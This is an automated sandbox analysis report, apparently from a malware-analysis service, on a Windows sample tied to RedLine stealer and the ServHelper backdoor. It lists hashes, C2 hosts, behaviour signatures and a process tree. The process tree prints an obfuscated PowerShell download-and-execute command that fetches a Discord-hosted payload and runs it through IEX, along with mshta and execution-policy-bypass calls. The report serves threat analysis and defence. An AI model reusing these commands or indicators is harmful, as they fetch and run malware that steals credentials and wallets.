Analysis
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max time kernel
128s -
max time network
161s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
14-08-2021 06:48
Static task
static1
Behavioral task
behavioral1
Sample
f618840fdc6d40a683f35a268444ad53.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
f618840fdc6d40a683f35a268444ad53.exe
Resource
win10v20210410
General
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Target
f618840fdc6d40a683f35a268444ad53.exe
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Size
1.0MB
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MD5
f618840fdc6d40a683f35a268444ad53
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SHA1
259eaba7e8902e26f516f47f25aa35e78496b0d3
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SHA256
f60f32ec899bcb92fd50491a8c32f0548afbd4dc02462dfa373d484b4b161a86
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SHA512
eaef79404a16724db4eaa4e898d4ae3c575a8bcde0227aad94d0099b49b407676678113375252c085ce447188047a0e5233696d236208f81bf1519b9e4b920e7
Malware Config
Extracted
https://cdn.discordapp.com/attachments/875766613159333928/875766957905969182/matematecle.txt
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
redline
080821
cookiebrokrash.info:80
Extracted
redline
2
lllwyerxedo.xyz:80
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine Payload 6 IoCs
resource yara_rule behavioral1/memory/732-71-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/732-72-0x0000000000418E56-mapping.dmp family_redline behavioral1/memory/732-74-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/560-104-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/560-105-0x0000000000418F66-mapping.dmp family_redline behavioral1/memory/560-106-0x0000000000400000-0x000000000041E000-memory.dmp family_redline -
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
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suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 4 IoCs
flow pid Process 22 1672 mshta.exe 24 1672 mshta.exe 73 1696 powershell.exe 95 2604 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 4 IoCs
pid Process 1696 1550642269.exe 732 1550642269.exe 944 1261989323.exe 876 clr.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1332 icacls.exe 1020 icacls.exe 2032 icacls.exe 2016 icacls.exe 1808 icacls.exe 912 icacls.exe 428 icacls.exe 1156 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000400000001318c-240.dat upx behavioral1/files/0x000500000001318d-241.dat upx -
Deletes itself 1 IoCs
pid Process 1624 cmd.exe -
Loads dropped DLL 7 IoCs
pid Process 1652 f618840fdc6d40a683f35a268444ad53.exe 1696 1550642269.exe 1652 f618840fdc6d40a683f35a268444ad53.exe 560 aspnet_compiler.exe 560 aspnet_compiler.exe 2016 Process not Found 2016 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 2032 icacls.exe 2016 icacls.exe 1808 icacls.exe 912 icacls.exe 428 icacls.exe 1156 takeown.exe 1332 icacls.exe 1020 icacls.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1696 set thread context of 732 1696 1550642269.exe 32 PID 1696 set thread context of 560 1696 powershell.exe 43 -
Drops file in Windows directory 21 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f798d1b-489d-4b83-9b14-670c33cb8ef5 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fef9581a-1e37-4a4c-9f80-e951c13921a4 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_99f3e17c-4698-4db9-96ef-7e68af737730 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_34edabfb-a2d6-4b7d-a613-773c073a3b0e powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_200392e4-b224-4513-aae4-49b6df4e6ea0 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9df83c12-38e8-4240-8db6-9197e607e181 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_efb4baf2-1462-4114-b5fa-e63c9eca6af1 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9b9662a0-387e-409c-99af-c69341e7ccac powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_760afb4c-cf87-46ae-a147-0ee3fcb6d7b7 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_40e286a5-0406-44a8-9f6a-0d129d327baf powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I1VS2SPHY69JNCZOYJDR.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_650d3c54-d93d-47a5-9daa-9584e06593e0 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074253d9bc7ab1a4f8b9090448ede0ef9000000000200000000001066000000010000200000007da4992bf9230c93b78bf6b68fb987b2392140f05f421a33b823d4bfeb369082000000000e80000000020000200000002b4735b491d2252ffd33e5d74f971708637ff6a66bafa6bd9d49e63d1c990332200000003b9d3e5eca4b6a235145b5bf9c2a71861edb9a724a00a4b2f1f67c4b36bd6e9a40000000be6602838ce0ee33bdc7782941504684305f927a2ee6d72925e58ed3c3781ffb4a1ae8c811d832001470e994e6057990bdf8ad347c28973a677409d986ea153c iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074253d9bc7ab1a4f8b9090448ede0ef9000000000200000000001066000000010000200000006008c4c0103dd3596c272ae1b4ec0b74c352fa2392c03507774be3dfdd013e46000000000e800000000200002000000084bfb517e4b36a3c8516d4ee3028f1b303c11a22524266af20a0c0f298b7684590000000123b61482f16c02476186c120a88e1a8eef077c800c3b802e2dd7f7b8733399d1728c1488893c430c8163acac67e552e21e8d1bad47d43c8db6fb59f9799a5846202857602489c0aa4f4dab14c5540b47c9489752a1e6648d5ee2d5fd1667910a69b8372722bcc16abbc3548db01952ec8579f17b65c18920809173b116b005197be55c81ea59fdc8adfe2d0236fd5824000000007151986025e84459449f17a885c0682f222d2d17a2d93baa08605ba1df8701ec9eff98b3fadf6e287252060f15e66d1de7bfbe019e73bc3ef093f4a9610e52b iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{38151021-FCCC-11EB-BE93-726C7BD0CD11} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 902ac60ed990d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "335688935" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 882dd222d990d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2040 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 f618840fdc6d40a683f35a268444ad53.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 f618840fdc6d40a683f35a268444ad53.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 1328 PING.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 1696 powershell.exe 1696 powershell.exe 560 aspnet_compiler.exe 560 aspnet_compiler.exe 940 powershell.exe 940 powershell.exe 1664 powershell.exe 1664 powershell.exe 1624 powershell.exe 1624 powershell.exe 960 powershell.exe 960 powershell.exe 940 powershell.exe 940 powershell.exe 940 powershell.exe 2604 powershell.exe 2604 powershell.exe -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 460 Process not Found 2016 Process not Found 2016 Process not Found -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1696 1550642269.exe Token: SeDebugPrivilege 732 1550642269.exe Token: SeDebugPrivilege 944 1261989323.exe Token: SeDebugPrivilege 1696 powershell.exe Token: SeDebugPrivilege 560 aspnet_compiler.exe Token: SeDebugPrivilege 876 clr.exe Token: SeDebugPrivilege 940 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 960 powershell.exe Token: SeRestorePrivilege 1020 icacls.exe Token: SeAssignPrimaryTokenPrivilege 2456 WMIC.exe Token: SeIncreaseQuotaPrivilege 2456 WMIC.exe Token: SeAuditPrivilege 2456 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2456 WMIC.exe Token: SeIncreaseQuotaPrivilege 2456 WMIC.exe Token: SeAuditPrivilege 2456 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2528 WMIC.exe Token: SeIncreaseQuotaPrivilege 2528 WMIC.exe Token: SeAuditPrivilege 2528 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2528 WMIC.exe Token: SeIncreaseQuotaPrivilege 2528 WMIC.exe Token: SeAuditPrivilege 2528 WMIC.exe Token: SeDebugPrivilege 2604 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1688 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1688 iexplore.exe 1688 iexplore.exe 268 IEXPLORE.EXE 268 IEXPLORE.EXE 268 IEXPLORE.EXE 268 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1652 wrote to memory of 1696 1652 f618840fdc6d40a683f35a268444ad53.exe 31 PID 1652 wrote to memory of 1696 1652 f618840fdc6d40a683f35a268444ad53.exe 31 PID 1652 wrote to memory of 1696 1652 f618840fdc6d40a683f35a268444ad53.exe 31 PID 1652 wrote to memory of 1696 1652 f618840fdc6d40a683f35a268444ad53.exe 31 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1696 wrote to memory of 732 1696 1550642269.exe 32 PID 1652 wrote to memory of 944 1652 f618840fdc6d40a683f35a268444ad53.exe 33 PID 1652 wrote to memory of 944 1652 f618840fdc6d40a683f35a268444ad53.exe 33 PID 1652 wrote to memory of 944 1652 f618840fdc6d40a683f35a268444ad53.exe 33 PID 1652 wrote to memory of 944 1652 f618840fdc6d40a683f35a268444ad53.exe 33 PID 944 wrote to memory of 1672 944 1261989323.exe 34 PID 944 wrote to memory of 1672 944 1261989323.exe 34 PID 944 wrote to memory of 1672 944 1261989323.exe 34 PID 1652 wrote to memory of 1688 1652 f618840fdc6d40a683f35a268444ad53.exe 35 PID 1652 wrote to memory of 1688 1652 f618840fdc6d40a683f35a268444ad53.exe 35 PID 1652 wrote to memory of 1688 1652 f618840fdc6d40a683f35a268444ad53.exe 35 PID 1652 wrote to memory of 1688 1652 f618840fdc6d40a683f35a268444ad53.exe 35 PID 1652 wrote to memory of 1624 1652 f618840fdc6d40a683f35a268444ad53.exe 36 PID 1652 wrote to memory of 1624 1652 f618840fdc6d40a683f35a268444ad53.exe 36 PID 1652 wrote to memory of 1624 1652 f618840fdc6d40a683f35a268444ad53.exe 36 PID 1652 wrote to memory of 1624 1652 f618840fdc6d40a683f35a268444ad53.exe 36 PID 1624 wrote to memory of 1328 1624 cmd.exe 38 PID 1624 wrote to memory of 1328 1624 cmd.exe 38 PID 1624 wrote to memory of 1328 1624 cmd.exe 38 PID 1624 wrote to memory of 1328 1624 cmd.exe 38 PID 1688 wrote to memory of 268 1688 iexplore.exe 39 PID 1688 wrote to memory of 268 1688 iexplore.exe 39 PID 1688 wrote to memory of 268 1688 iexplore.exe 39 PID 1688 wrote to memory of 268 1688 iexplore.exe 39 PID 1672 wrote to memory of 1696 1672 mshta.exe 40 PID 1672 wrote to memory of 1696 1672 mshta.exe 40 PID 1672 wrote to memory of 1696 1672 mshta.exe 40 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 1696 wrote to memory of 560 1696 powershell.exe 43 PID 560 wrote to memory of 876 560 aspnet_compiler.exe 46 PID 560 wrote to memory of 876 560 aspnet_compiler.exe 46 PID 560 wrote to memory of 876 560 aspnet_compiler.exe 46 PID 560 wrote to memory of 876 560 aspnet_compiler.exe 46 PID 876 wrote to memory of 940 876 clr.exe 47 PID 876 wrote to memory of 940 876 clr.exe 47 PID 876 wrote to memory of 940 876 clr.exe 47 PID 940 wrote to memory of 672 940 powershell.exe 49 PID 940 wrote to memory of 672 940 powershell.exe 49 PID 940 wrote to memory of 672 940 powershell.exe 49 PID 672 wrote to memory of 912 672 csc.exe 50 PID 672 wrote to memory of 912 672 csc.exe 50 PID 672 wrote to memory of 912 672 csc.exe 50 PID 940 wrote to memory of 1664 940 powershell.exe 51 PID 940 wrote to memory of 1664 940 powershell.exe 51 PID 940 wrote to memory of 1664 940 powershell.exe 51
Processes
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C:\Users\Admin\AppData\Local\Temp\f618840fdc6d40a683f35a268444ad53.exe"C:\Users\Admin\AppData\Local\Temp\f618840fdc6d40a683f35a268444ad53.exe"1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Users\Admin\AppData\Local\Temp\1550642269.exeC:\Users\Admin\AppData\Local\Temp\1550642269.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Users\Admin\AppData\Local\Temp\1550642269.exeC:\Users\Admin\AppData\Local\Temp\1550642269.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:732
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C:\Users\Admin\AppData\Local\Temp\1261989323.exeC:\Users\Admin\AppData\Local\Temp\1261989323.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875766613159333928/875767110058532884/geometre.txt3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875766613159333928/875766957905969182/matematecle.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Users\Admin\AppData\Local\Temp\clr.exe"C:\Users\Admin\AppData\Local\Temp\clr.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\li0ngda1\li0ngda1.cmdline"8⤵
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9656.tmp" "c:\Users\Admin\AppData\Local\Temp\li0ngda1\CSC68A5B573BB724897BDD73A04FCEFF5F.TMP"9⤵PID:912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
